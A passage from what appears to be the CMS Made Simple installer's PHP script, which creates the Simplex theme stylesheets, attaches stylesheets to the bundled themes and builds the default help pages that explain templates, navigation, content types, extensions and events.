$css = new CmsLayoutStylesheet;
$css->set_name('Simplex Layout');
$css->set_description('Simplex Theme main layout Stylesheet');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
[[strip]]\r\n\r\n[[* /* ------ BANNER AREA ------ */  *]]\r\n.banner {\r\n	background: #fefefe; \r\n	background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPGxpbmVhckdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIwJSIgeTI9IjEwMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2ZlZmVmZSIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjQ3JSIgc3RvcC1jb2xvcj0iI2YxZjFmMSIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiNlOWU5ZTkiIHN0b3Atb3BhY2l0eT0iMSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+);\r\n	background: -moz-linear-gradient(top,  #fefefe 0%, #f1f1f1 47%, #e9e9e9 100%);\r\n	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#fefefe), color-stop(47%,#f1f1f1), color-stop(100%,#e9e9e9)); \r\n	background: -webkit-linear-gradient(top,  #fefefe 0%,#f1f1f1 47%,#e9e9e9 100%);\r\n	background: -o-linear-gradient(top,  #fefefe 0%,#f1f1f1 47%,#e9e9e9 100%); \r\n	background: -ms-linear-gradient(top,  #fefefe 0%,#f1f1f1 47%,#e9e9e9 100%);\r\n	background: linear-gradient(to bottom,  #fefefe 0%,#f1f1f1 47%,#e9e9e9 100%); \r\n}\r\n\r\n.lt-ie9 .banner {\r\n	filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#fefefe', endColorstr='#e9e9e9',GradientType=0 );\r\n}\r\n\r\n#sx-slides {\r\n	position: relative;\r\n	overflow: hidden;\r\n	width: 100%;\r\n	margin: 0 auto;\r\n	position: relative;\r\n	height: 380px;\r\n}\r\n\r\n#sx-slides > .sequence-canvas {\r\n	height: 100%;\r\n	width: 100%;\r\n	margin: 0;\r\n	padding: 0;\r\n	list-style: none;\r\n}\r\n\r\n#sx-slides > .sequence-canvas > li {\r\n	position: absolute;\r\n	width: 100%;\r\n	height: 100%;\r\n	z-index: 1;\r\n	top: -50%;\r\n}\r\n\r\n#sx-slides > .sequence-canvas > li img {\r\n	height: 96%;\r\n}\r\n\r\n#sx-slides > .sequence-canvas li > * {\r\n	position: absolute;\r\n	-webkit-transition-property: left, bottom, right, top, -webkit-transform, opacity;\r\n	-moz-transition-property: left, bottom, right, top, -moz-opacity;\r\n	-ms-transition-property: left, bottom, right, top, -ms-opacity;\r\n	-o-transition-property: left, bottom, right, top, -o-opacity;\r\n	transition-property: left, bottom, right, top, transform, opacity;\r\n}\r\n\r\n#sx-slides .title {\r\n	color: [[\$orange]];\r\n	font-size: 2.25em;\r\n	line-height: 1.1;\r\n	font-weight: 700;\r\n	left: 65%;\r\n	opacity: 0;\r\n	bottom: 22%;\r\n	z-index: 50;\r\n	margin-top: 0;\r\n}\r\n\r\n#sx-slides .animate-in .title {\r\n	left: 12%;\r\n	opacity: 1;\r\n	-webkit-transition-duration: 0.8s;\r\n	-moz-transition-duration: 0.8s;\r\n	-ms-transition-duration: 0.8s;\r\n	-o-transition-duration: 0.8s;\r\n	transition-duration: 0.8s;\r\n}\r\n\r\n#sx-slides .animate-out .title {\r\n	left: 35%;\r\n	opacity: 0;\r\n	-webkit-transition-duration: 0.3s;\r\n	-moz-transition-duration: 0.3s;\r\n	-ms-transition-duration: 0.3s;\r\n	-o-transition-duration: 0.3s;\r\n	transition-duration: 0.3s;\r\n}\r\n\r\n#sx-slides .subtitle {\r\n	margin-top: 0;\r\n	z-index: 5;\r\n	color: [[\$dark_grey]];\r\n	font-family: 'Oswald', Impact, Haettenschweiler, 'Arial Narrow Bold', sans-serif;\r\n	font-weight: 700;\r\n	font-size: 1.8125em;\r\n	left: 35%;\r\n	opacity: 0;\r\n	top: 72%;\r\n}\r\n\r\n#sx-slides .animate-in .subtitle {\r\n	left: 20%;\r\n	opacity: 1;\r\n	-webkit-transition-duration: 1.3s;\r\n	-moz-transition-duration: 1.3s;\r\n	-ms-transition-duration: 1.3s;\r\n	-o-transition-duration: 1.3s;\r\n	transition-duration: 1.3s;\r\n}\r\n\r\n#sx-slides .animate-out .subtitle {\r\n	left: 65%;\r\n	opacity: 0;\r\n	-webkit-transition-duration: 0.8s;\r\n	-moz-transition-duration: 0.8s;\r\n	-ms-transition-duration: 0.8s;\r\n	-o-transition-duration: 0.8s;\r\n	transition-duration: 0.8s;\r\n}\r\n\r\n\r\n#sx-slides .image {\r\n	left: -10px;\r\n	position: absolute;\r\n	bottom: 800px;\r\n	-webkit-transform: rotate(-90deg);\r\n	-moz-transform: rotate(-90deg);\r\n	-ms-transform: rotate(-90deg);\r\n	-o-transform: rotate(-90deg);\r\n	transform: rotate(-90deg);\r\n	opacity: 0;\r\n	max-width: 70%;\r\n	height: auto !important;\r\n	max-height: 275px !important;\r\n}\r\n\r\n#sx-slides .animate-in .image {\r\n	left: 14%;\r\n	bottom: -49%;\r\n	opacity: 1;\r\n	-webkit-transform: rotate(0deg);\r\n	-moz-transform: rotate(0deg);\r\n	-ms-transform: rotate(0deg);\r\n	-o-transform: rotate(0deg);\r\n	transform: rotate(0deg);\r\n	-webkit-transition-duration: 2s;\r\n	-moz-transition-duration: 2s;\r\n	-ms-transition-duration: 2s;\r\n	-o-transition-duration: 2s;\r\n	transition-duration: 2s;\r\n}\r\n\r\n#sx-slides .animate-out .image {\r\n	left: -10px;\r\n	bottom: -800px;\r\n	opacity: 0;\r\n	-webkit-transform: rotate(-90deg);\r\n	-moz-transform: rotate(-90deg);\r\n	-ms-transform: rotate(-90deg);\r\n	-o-transform: rotate(-90deg);\r\n	transform: rotate(-90deg);\r\n	-webkit-transition-duration: 1s;\r\n	-moz-transition-duration: 1s;\r\n	-ms-transition-duration: 1s;\r\n	-o-transition-duration: 1s;\r\n	transition-duration: 1s;\r\n}\r\n\r\n@media only screen and (min-width: 768px) {\r\n	\r\n	#sx-slides .title {\r\n		font-size: 3em;\r\n	}\r\n\r\n	#sx-slides .animate-in .title {\r\n		left: 3%;\r\n	}\r\n	\r\n	#sx-slides .subtitle {\r\n		font-size: 2.5em;\r\n	}\r\n	\r\n	#sx-slides .animate-in .subtitle {\r\n		left: 8%;\r\n	}\r\n\r\n	#sx-slides .image {\r\n		left: auto;\r\n		right: -10px;\r\n		position: absolute;\r\n		max-width: 70%;\r\n		height: auto !important;\r\n		max-height: 300px !important;\r\n	}\r\n	\r\n	#sx-slides .animate-in .image {\r\n		left: auto;\r\n		right: 5%;\r\n		bottom: -45%;\r\n	}\r\n	\r\n	#sx-slides .animate-out .image {\r\n		left: auto;\r\n		bottom: -800px;\r\n	}\r\n}\r\n\r\n@media only screen and (min-width: 1050px) {\r\n	\r\n	#sx-slides {\r\n		height: 440px;\r\n	}\r\n	\r\n	#sx-slides .title {\r\n		font-size: 3.25em;\r\n		bottom: 15%;\r\n	}\r\n\r\n	#sx-slides .animate-in .title {\r\n		left: 8%;\r\n	}\r\n	\r\n	#sx-slides .subtitle {\r\n		font-size: 2.875em;\r\n		top: 78%\r\n	}\r\n	\r\n	#sx-slides .animate-in .subtitle {\r\n		left: 12%;\r\n	}\r\n\r\n	#sx-slides .image {\r\n		max-width: 90%;\r\n		height: auto !important;\r\n		max-height: 400px !important;\r\n	}\r\n}\r\n\r\n[[/strip]]
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Simplex Slideshow');
$css->set_description('Simplex Theme Stylesheet for header slideshow');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
[[strip]]\r\n\r\n[[* /* reset body background and color, just in case */ *]]\r\nbody {\r\n    background: #fff;\r\n    color: #000;\r\n    font-family: Georgia, Times New Roman, serif;\r\n    font-size: 12pt\r\n}\r\n[[* /* any element with class noprint or listed below should not be printed */ *]]\r\n.noprint,\r\n.visuallyhidden {\r\n    display: none\r\n}\r\n[[* /* display image as block */ *]]\r\nimg {\r\n    display: block;\r\n    float: none\r\n}\r\n[[* /* links arent clickable on paper, lets display url */ *]]\r\na:link:after {\r\n    content: " (" attr(href) ") ";\r\n}\r\na {\r\n    text-decoration: underline\r\n}\r\n\r\n[[/strip]]
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Simplex Print'); // id = 52
$css->set_description('Default Print style rules attached to Simplex Design');
$css->set_content($txt);
$css->set_media_types('print');
$css->save();
$css_list[$css->get_name()] = $css;


// now attach stylesheets to the themes.
verbose_msg(ilang('install_attachstylesheets'));
$css_menuleft_1col_theme->add_stylesheet($css_list['Layout Left sidebar + 1 column']->get_id());
$css_menuleft_1col_theme->add_stylesheet($css_list['Navigation CSSMenu - Vertical']->get_id());
$css_menuleft_1col_theme->add_stylesheet($css_list['Accessibility and cross-browser tools']->get_id());
$css_menuleft_1col_theme->add_stylesheet($css_list['Print']->get_id());
$css_menuleft_1col_theme->add_stylesheet($css_list['Module News']->get_id());
$css_menuleft_1col_theme->add_stylesheet($css_list['Navigation FatFootMenu']->get_id());
$css_menuleft_1col_theme->save();

$css_menutop_2col_theme->add_stylesheet($css_list['Layout Top menu + 2 columns']->get_id());
$css_menutop_2col_theme->add_stylesheet($css_list['Navigation CSSMenu - Horizontal']->get_id());
$css_menutop_2col_theme->add_stylesheet($css_list['Module News']->get_id());
$css_menutop_2col_theme->add_stylesheet($css_list['Print']->get_id());
$css_menutop_2col_theme->add_stylesheet($css_list['Navigation FatFootMenu']->get_id());
$css_menutop_2col_theme->add_stylesheet($css_list['Accessibility and cross-browser tools']->get_id());
$css_menutop_2col_theme->save();

$leftsimple_1col_theme->add_stylesheet($css_list['Layout Left sidebar + 1 column']->get_id());
$leftsimple_1col_theme->add_stylesheet($css_list['Navigation Simple - Vertical']->get_id());
$leftsimple_1col_theme->add_stylesheet($css_list['Module News']->get_id());
$leftsimple_1col_theme->add_stylesheet($css_list['Handheld']->get_id());
$leftsimple_1col_theme->add_stylesheet($css_list['Print']->get_id());
$leftsimple_1col_theme->add_stylesheet($css_list['Accessibility and cross-browser tools']->get_id());
$leftsimple_1col_theme->add_stylesheet($css_list['Navigation FatFootMenu']->get_id());
$leftsimple_1col_theme->save();

$ncleanblue_theme->add_stylesheet($css_list['ncleanblueutils']->get_id());
$ncleanblue_theme->add_stylesheet($css_list['ncleanbluecore']->get_id());
$ncleanblue_theme->add_stylesheet($css_list['Layout NCleanBlue']->get_id());
$ncleanblue_theme->save();

$shadowmenu_left_1col_theme->add_stylesheet($css_list['Layout Left sidebar + 1 column']->get_id());
$shadowmenu_left_1col_theme->add_stylesheet($css_list['Navigation ShadowMenu - Vertical']->get_id());
$shadowmenu_left_1col_theme->add_stylesheet($css_list['Accessibility and cross-browser tools']->get_id());
$shadowmenu_left_1col_theme->add_stylesheet($css_list['Print']->get_id());
$shadowmenu_left_1col_theme->add_stylesheet($css_list['Module News']->get_id());
$shadowmenu_left_1col_theme->add_stylesheet($css_list['Navigation FatFootMenu']->get_id());
$shadowmenu_left_1col_theme->save();

$shadowmenu_tab_2col_theme->add_stylesheet($css_list['Layout Top menu + 2 columns']->get_id());
$shadowmenu_tab_2col_theme->add_stylesheet($css_list['Navigation ShadowMenu - Horizontal']->get_id());
$shadowmenu_tab_2col_theme->add_stylesheet($css_list['Module News']->get_id());
$shadowmenu_tab_2col_theme->add_stylesheet($css_list['Accessibility and cross-browser tools']->get_id());
$shadowmenu_tab_2col_theme->add_stylesheet($css_list['Print']->get_id());
$shadowmenu_tab_2col_theme->add_stylesheet($css_list['Navigation FatFootMenu']->get_id());
$shadowmenu_tab_2col_theme->save();

$simplex_theme->add_stylesheet($css_list['Simplex Print']->get_id());
$simplex_theme->add_stylesheet($css_list['Simplex Core']->get_id());
$simplex_theme->add_stylesheet($css_list['Simplex Layout']->get_id());
$simplex_theme->add_stylesheet($css_list['Simplex Slideshow']->get_id());
$simplex_theme->save();

$topsimple_leftsubnav_1col_theme->add_stylesheet($css_list['Layout Top menu + 2 columns']);
$topsimple_leftsubnav_1col_theme->add_stylesheet($css_list['Navigation Simple - Horizontal']);
$topsimple_leftsubnav_1col_theme->add_stylesheet($css_list['Navigation Simple - Vertical']);
$topsimple_leftsubnav_1col_theme->add_stylesheet($css_list['Accessibility and cross-browser tools']);
$topsimple_leftsubnav_1col_theme->add_stylesheet($css_list['Module News']);
$topsimple_leftsubnav_1col_theme->add_stylesheet($css_list['Print']);
$topsimple_leftsubnav_1col_theme->add_stylesheet($css_list['Navigation FatFootMenu']);
$topsimple_leftsubnav_1col_theme->save();

$content_list = array();
ContentOperations::get_instance()->LoadContentType('content');

/////////////////////////
//  //  HOME PAGE  //  //
/////////////////////////

verbose_msg(ilang('install_createcontentpages'));
// Home / -1 / NCleanBlue  DEFAULT
$contentobj = new Content;
$contentobj->SetName('Home');
$contentobj->SetAlias();
$contentobj->SetMenuText('Home');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$simplex_theme->get_id());
$contentobj->SetTemplateId($template_list['Simplex']);
$contentobj->SetDefaultContent(TRUE); // this is the default page.
$contentobj->SetOwner(1);
$contentobj->SetParentId(-1);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>Congratulations! The installation worked. You now have a fully functional installation of CMS Made Simple and you are <em>almost</em> ready to start building your site.</p><p>If you chose to install the default content, you will see numerous pages available to read.  You should read them thoroughly  as these default pages are devoted to showing you the basics of how to begin working with CMS Made Simple.  On these example pages, templates, and stylesheets many of the features of the default installation of CMS Made Simple are described and demonstrated. You can learn much about the power of CMS Made Simple by absorbing this information.</p><p>To get to the Administration Console you have to login as the administrator (with the username/password you mentioned during the installation process) on your site at http://yourwebsite.com/cmsmspath/admin.  If this is your site click <a title="CMSMS Demo Admin Panel" href="admin">here</a> to login.</p><p>Read about how to use CMS Made Simple in the <a class="external" href="http://docs.cmsmadesimple.org/" title="CMS Made Simple Documentation" target="_blank">documentation</a>. In case you need any help the community is always at your service, in the  <a class="external" href="http://forum.cmsmadesimple.org" title="CMS Made Simple Forum" target="_blank">forum</a> or the <a class="external" href="http://www.cmsmadesimple.org/support/irc" title="Information about the CMS Made Simple IRC channel" target="_blank">IRC</a>.</p><h3>License</h3><p>CMS Made Simple is released under the <a class="external" href="http://www.gnu.org/licenses/licenses.html#GPL" title="General Public License" target="_blank">GPL</a> license and as such you don\'t have to leave a link back to us in these templates or on your site as much as we would like it.</p><p> Some third party add-on modules may include additional license restrictions.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

///////////////////////////////
//  //  HOW CMSMS WORKS  //  //
///////////////////////////////

// How CMSMS Works / -1 / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('How CMSMS Works');
$contentobj->SetAlias();
$contentobj->SetMenuText('How CMSMS Works');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId(-1);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>So how is a web-site created with CMS Made Simple? There are a couple of terms that are central to understanding this.</p><p>You first need to have templates, which is the HTML code for your pages. This is styled with CSS in one or more style sheets that are attached to each template. You then create pages that contain your websites content using one of these templates.</p><p>That doesn\'t sound too hard, does it? Basically you don\'t need to know any HTML or CSS to get a site up with CMS Made Simple. But if you want to customize it to your liking, consider learning some <a class="external" href="http://www.w3schools.com/css/" target="_blank">CSS</a>.</p><p>In the menu to the left you can read more about this, as well as more advanced features like the Menu Manager, additional extensions for adding many kinds of functionality to your site and the Event Manager for managing work flow. Last is a summary of the basic work flow when creating a site with CMS Made Simple.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Templates and stylesheets / How CMSMS Works / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Templates and stylesheets');
$contentobj->SetAlias();
$contentobj->SetMenuText('Templates and stylesheets');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['How CMSMS Works']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>A <em>template</em> is basically the HTML layout, or the design, of a page.  This is the work of the designer. Whatever is in a template is used on every  page that uses that template, meaning that the person editing the content  doesn\'t need any web design skills.</p><p>In the template there are placeholders for content and navigation areas. When  a user is visiting your site the page is automatically generated from the  template and the placeholders are filled with the content.</p><p>The template is the HTML structure. It is then styled in one or more  <em>style sheets</em> that are attached to each template. This styling is done  with CSS. So to get a site look the way you want you should be familiar with HTML and CSS on at least a basic level. But don\'t worry, there are themes with  ready-made templates and style sheets for you to download!</p><p>When you first install CMS Made Simple there are some basic templates that  you can use and customize to your needs. Those templates are described in the section {cms_selflink page=default_templates text=\'Default Templates Explained\'}. The designer of your site can also add new templates to make the site look any way you want. The CMSMS community also shares themes for anyone to download and use at <a class="external" href="http://themes.cmsmadesimple.org" target="_blank">The CMSMS Themes site</a>.</p><h3>Templates and style sheets in the CMSMS Admin Panel</h3><p>In the CMSMS Admin Panel you will find the templates and style sheets in the <strong>Layout</strong> menu.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Pages and navigation / How CMSMS Works / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Pages and navigation');
$contentobj->SetAlias();
$contentobj->SetMenuText('Pages and navigation');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['How CMSMS Works']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>Pages determine the structure of your web-site as seen in the admin Content &raquo; Pages page. Think of a web-site as a set  of pages. These pages are accessed through a menu. You can also link to a page  from within another page.</p><h3>Navigation/Menu</h3><p>The navigation, or the menu, is a set of links that help the user to navigate through  the pages on your web site. These links are automatically created by CMS Made  Simple from the page structure. This hierarchy is what drives the menu you see  on the left of this page.</p><p>Pages can be in several levels, like a tree of generations. The top level in  the menu are the parent pages. Each parent page can have children pages, which  in turn can be parents to other children.</p><p>The page template determines where on a page the navigation is placed.</p><p>You can create any kind of navigation you can dream of by customizing a menu  template for <em>Menu Manager</em>. However, the default templates should work  for most situations as the menu basically is just an unordered list that you  style to your liking with CSS. The web is full of good articles about styling a list of links, one of the best is <a class="external" href="http://css.maxdesign.com.au/listutorial/index.htm" target="_blank">listutorial at maxdesign</a></p><h3>Pages in the CMSMS Admin Panel</h3><p>You add pages, as well as other content (see next chapter), in the CMSMS Admin Panel from the Content &raquo; Pages menu.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Content / How CMSMS Works / Left simple navigation + 1 column
// Pages and navigation / How CMSMS Works / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Content');
$contentobj->SetAlias();
$contentobj->SetMenuText('Content');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['How CMSMS Works']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>The content is the information for the page. We have already mentioned that for each page on your site you  choose what template to use. When you add content to a page, it is automatically  placed in the placeholders of the template selected for that page.</p><p>A template can define one or several content areas, or content blocks. To add more content blocks to your template, use <code>{ldelim}content block=\'block name\'}</code>. These blocks will then appear as text areas when you edit or add a page that uses that template.</p><p>You can make a content block use only one line, instead of a full text area, by using the parameter oneline=true. That is, the full tag being: <code>{ldelim}content block=\'block name\' oneline=true}</code>. Read about more parameters in the help for the Content tag in the CMSMS Admin Panel, under Extensions &raquo; Tags.</p><h3>Content Types</h3><p>There are currently 6 main content types in version {cms_version} "{cms_versionname}". These content types determine the type of content for each menu item.</p><ul><li>Content</li><li>Error Page</li><li>External Page Link</li><li>Internal Page Link</li><li>Section Header</li><li>Separator</li></ul><p>The <strong>Content</strong> type is simply a regular page. Normally this is the only one you will use. That is what this page you are reading is. Here you can put any content that you would put on a regular page. The layout of these types of pages are controlled by the templates. For each <strong>content</strong> page you create you must add the title, menu text, choose if it is going to have a parent and choose a template for it.  If you login as admin and change the template of this page, you will see exactly how it works.</p><p>The <strong>Error Page</strong> type is just what it sounds like, a page you set for "404 page not found" errors, where you can add the content that shows when a 404 error occurs, a target type and title, you can also choose the template it uses, it has no parent as it is not part of the menu.</p><p>The <strong>External Page Link</strong> type is just what it sounds like, a link to another external page and you add the title, menu text, choose if it is going to have a parent and a destination page along with the target setting and other options that a content type page has. This <strong>external page link</strong> type also shows up in the menu following the same hierarchy rules as the <strong>content</strong> type.</p><p>The <strong>Internal Page Link</strong> type is also just what it sounds like, a link to another internal page. This <strong>internal page link</strong> type also shows up in the menu following the same hierarchy rules as the <strong>content</strong> type and you add the title, menu text, choose if it is going to have a parent and a destination page along with the target setting and other options that a content type page has.</p><p>The <strong>Section Header</strong> type is used to break up menus into groupings (sections). This is unrelated to the hierarchy, as the section headers have no associated pages with them but can be used to group a set of links of similar content under them. They are just a little bit of text to say what the next few links are in reference to.</p><p>The <strong>Separator</strong> type is just what it sounds like, a separator that appears on the menus. This type follows the hierarchy set in content management pages.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Menu Manager / How CMSMS Works / Left simple navigation + 1 column17
$contentobj = new Content;
$contentobj->SetName('Menu Manager');
$contentobj->SetAlias();
$contentobj->SetMenuText('Menu Manager');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['How CMSMS Works']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>The Menu Manager is a module that reads your page hierarchy and builds a navigation using a \'Menu Manager Template\'. By default a few sample menu manager templates are included with your default installation. For most users these are enough, as a menu basically is just an unordered list that is styled with CSS.</p><p>The Menu Manager module also accepts various optional attributes (parameters) in the {ldelim}menu{rdelim} tag to allow you to customize its behavior. You can see the list and explanation of these parameters in the Menu Manager Help which can be found on the right side of the screen when you click on "Layout &raquo; Menu Manager" in the administration console.</p><p>Customizing templates in the Menu Manager is as simple as clicking the \'Import Template to Database\' button, which will then allow you to create a template with a new name, and modify the layout of the template. You can use your new navigation template by specifying the new name in the call to {ldelim}menu{rdelim} in your page template. i.e: {ldelim}menu template=\'mynewtemplate\'{rdelim}.</p><h3>Menu Manager in the CMSMS Admin Panel</h3><p>Read more about how to do this in the <strong>Help</strong> for the Menu Manager in the CMSMS Admin Panel. It can be found in the Layout menu.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Extensions / How CMSMS Works / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Extensions');
$contentobj->SetAlias();
$contentobj->SetMenuText('Extensions');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['How CMSMS Works']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>There are three kinds of extensions, that can add many kinds of functionality to your default CMS Made Simple install. They are called tags, user defined tags, and modules.</p><h3>Tags</h3><p>Tags are the simplest form of extensions. They are designed to accomplish just one small and specific task.</p><p>There are a number of custom tags available with CMS Made Simple. To find what kind of tags are available look in Extensions &raquo; Tags in the Admin Panel.</p><p>To insert any of these in a template or a page, simply type e.g. <code>{ldelim}content}</code>. Many of these Smarty tags are used as placeholders in a template, i.e. placeholders for content, navigation, breadcrumbs etc.</p><p>Website developers who have a bit of PHP experience will find it easy to create and share their own custom tags.</p><h3>User defined tags</h3><p>Users can also create their own tags to insert in templates or pages., these are called user defined tags. They are snippets of php code (but without the &lt;?php and ?&gt; surrounding them), providing the ability to add re-usable pieces of php functionality to your site. User defined tags are inserted in templates and pages just like tags: <code>{ldelim}tagname}</code>.</p><p>Typically, user defined tags provide a utility that is special to a website, and likely won\'t need to be re-used on another site. Also they are typically small and used for simple tasks.</p><h3>Modules</h3><p>Modules are the highest level of plugin in the CMS Made Simple environment. They are designed to allow developers to implement complex tasks within CMSMS. A module typically provides advanced functionality, usually interacts with the database in complex ways, and may provide numerous reports or forms on the website. Additionally, a module may have an administrative interface to allow manipulating its data and its settings.</p><p>An extremely well defined API <em>(Application Programming Interface)</em> has been written to allow module developers to write complex, intricate, and fully functioning applications for use within a CMSMS powered website.</p><p>There are {cms_selflink page=\'modules\' text=\'a few modules included\'} with the default installation of CMS Made Simple. Other popular modules are Frontend Users, Album, Calendar, Guestbook and Form Builder.</p><p>The ModuleManager module (included with CMS Made Simple) allows browsing a list of available modules, reading about them, and then installing them on your website.</p><p>To insert modules in a template or a page, you actually use the module name as a parameter to the <code>{ldelim}cms_module}</code> tag. It looks like this: <code>{ldelim}cms_module module=\'modulename\' parameter1=\'this\' parameter2=5 parameter3=\'that\'}</code>. It is normal for modules to accept parameters to effect changes to their default behavior, though it is not always required.</p><h3>Read more</h3><p>You can read more about extensions in the <a class="external" href="http://docs.cmsmadesimple.org/modules/add-ons">CMSMS documentation</a>.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Event Manager / How CMSMS Works / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Event Manager');
$contentobj->SetAlias();
$contentobj->SetMenuText('Event Manager');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['How CMSMS Works']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>Events are a new powerful way of assigning actions to events. For example if you would like to send an email to the site administrator when a new file is uploaded or a new page is created by another user you could add some code to those events to be executed when that event happens.</p><p>In brief here\'s how it works:</p><p>a) A module, or the core, can register, and then Send Events such as "newNews", or "newFronteEndUser" or "fileUploaded", "editPage", etc, etc, etc. there\'s some 50 events in the core at the moment, and then uploads and frontend users have been configured to send events, We still have to do selfreg, etc, etc, etc.</p><p>b) There are pages in the admin to allow you to specify which modules, and/or user tags should handle those events, and the order that each of those handlers should be called in.</p><p>c) If one of the handlers of an event is a module, then.... the modules DoEvent method is called with the name of the event, and whatever data it wants to send. Each triggered event needs to be documented, but as of this moment, most are.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Workflow / How CMSMS Works / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Workflow');
$contentobj->SetAlias();
$contentobj->SetMenuText('Workflow');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['How CMSMS Works']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
